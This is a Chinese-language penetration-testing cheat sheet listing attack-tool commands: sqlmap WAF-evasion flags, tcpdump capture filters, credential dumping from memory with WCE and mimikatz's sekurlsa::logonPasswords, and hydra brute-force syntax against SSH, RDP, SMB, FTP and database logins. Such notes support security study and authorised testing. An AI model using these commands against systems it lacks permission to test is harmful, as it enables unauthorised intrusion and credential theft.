• sqlmap -u "http://1.1.1.1/a.php?id=1"--technique=E --answers="extending=N" --batch
• --check-waf:检测WAF/IPS/IDS
• --hpp:HTTP parameter pollution
• 绕过WAF/IPS/IDS的有效方法
• 尤其对ASP/IIS 和ASP.NET/IIS
• --identify-waf:彻底的waf/ips/ids检查
• 支持30多种产品
• --mobile:模拟智能手机设备
• --purge-output:清除output文件夹
• --smart:当有大量检测目标时,只选择基于错误的检测结果
• --wizard
pangolin
啊D
网络监听(抓包嗅探):
wireshark(重点)
tcpdump(重点)
• 抓包
• tcpdump -i eth0 -s 0 -w file.pcap
• 读取抓包文件
• tcpdump -r file.pcap
筛选
• tcpdump -n -r http.cap | awk '{print $3}'| sort –u
• tcpdump -n src host 145.254.160.237 -r http.cap
• tcpdump -n dst host 145.254.160.237 -r http.cap
• tcpdump -n port 53 -r http.cap
• tcpdump -nX port 80 -r http.cap
高级筛选
• tcpdump -A -n 'tcp[13] = 24' -r http.cap
Omnipeek //Windows下的抓包分析嗅探工具
Sniffpass //密码查看器
cain
• 浏览器缓存的密码
• IE浏览器
• Firefox
pwdump 通过Windows系统的SAM数据库提取出账户的用户名和密码,得到的是LMhash和NThash算法过后的密文,然后拿到kali上通过相应的工具进行解密
WCE (WINDOWS CREDENTIAL EDITOR) Windows身份编辑器
由于通过SAM数据库获取的密码是密文的形式,如果密码足够复杂,破解是很难的,通过WCE相应的工具是直接从内存里面去提取用户名和密码的数据
• /usr/share/wce/
• 需要管理员权限
• wce-universal.exe -l / -lv
• wce-universal.exe -d
• wce-universal.exe -e / -r
• wce-universal.exe -g
• wce-universal.exe -w //直接从内存里获取用户的明文密码
• LM/NT hash
其他工具
• mimikatz //俄罗斯人开发的
• privilege::debug // 提升权限
• sekurlsa::logonPasswords // 查看已登录用户的明文密码
• ::
远程控制类:
darkcomet 一款法国人开发的远控软件
密码爆破类:
hydra
参数详解:
-R 根据上一次进度继续破解
-S 使用SSL协议连接
-s 指定端口
-l 指定用户名
-L 指定用户名字典(文件)
-P 指定密码破解
-p 指定密码字典(文件)
-e 空密码探测和使用登录名作为密码以及登录名倒序作为密码(nsr)
-C 用户名可以用:分割(username:password)可以代替 -l username -p password
-o 输出文件
-t 指定多线程数量,默认为16个线程
-vV 显示详细过程
server 目标IP
service 指定服务名(telnet、ftp、http、mysql、ssh)
使用案例:
破解ssh: hydra -L user.txt -P password.txt -vV -o ssh.log -e ns IP ssh 破解smb: hydra -l administrator -P password.txt IP smb 破解rdp: hydra IP rdp -l administrator -P password.txt -V 破解telnet: hydra IP telnet -l administrator -P password.txt -t 32 -s 23 -e ns -f -V 破解ftp: hydra ftp IP -l administrator -P password.txt -t (默认16线程) -vV hydra ftp IP -l administrator -P password.txt -e ns -vV 破解Cisco: hydra -P password.txt IP cisco hydra -m cloud -P password.txt 10.58.26.98 cisco-enable
破解sqlserver密码:
hydra.exe -l sa -P c:\password.txt 192.168.25.26 mssql
破解mysql密码:
hydra.exe -l root -P c:\password.txt 192.168.25.26 mysql
指定登录名密码的方式,使用 “登录名:密码” 的格式放到文件中指定
hydra -C default_accounts.txt ftp://localhost/
通过文件来指定攻击目标(可以自定义端口):
hydra -l admin -p admin -M targets.txt ftp
Brute Force模式(暴力模式),使用 “-x” 选项指定:
-x minimum_length:maximum_length:charsetcharset
位置,使用a
表示小写字母,A
表示大写字母,1
表示数字
-x 1:1:a
生成一个字符的并且小写字母的密码。也就是说该参数会尝试从a到z共26个密码。-x 1:3:a
生成长度为1到3个字符并且全部小写字母的密码-x 2:5:/
生成长度为2到5个字符并且只包含斜杠的密码-x 5:8:A1
生成长度为5到8个字符并且有大写字母和数字的密码
示例:
hydra -l ftp -x 3:3:a ftp://localhost/
default_accounts.txt格式:
admin:password
test:test
foo:bar
targets.txt格式:
foo.bar.com
target.com:21
unusual.port.com:2121
default.used.here.com
127.0.0.1
127.0.0.1:2121
pkav 、http fuzzer、Discuz批量用户密码暴力破解器
sqlmap
beef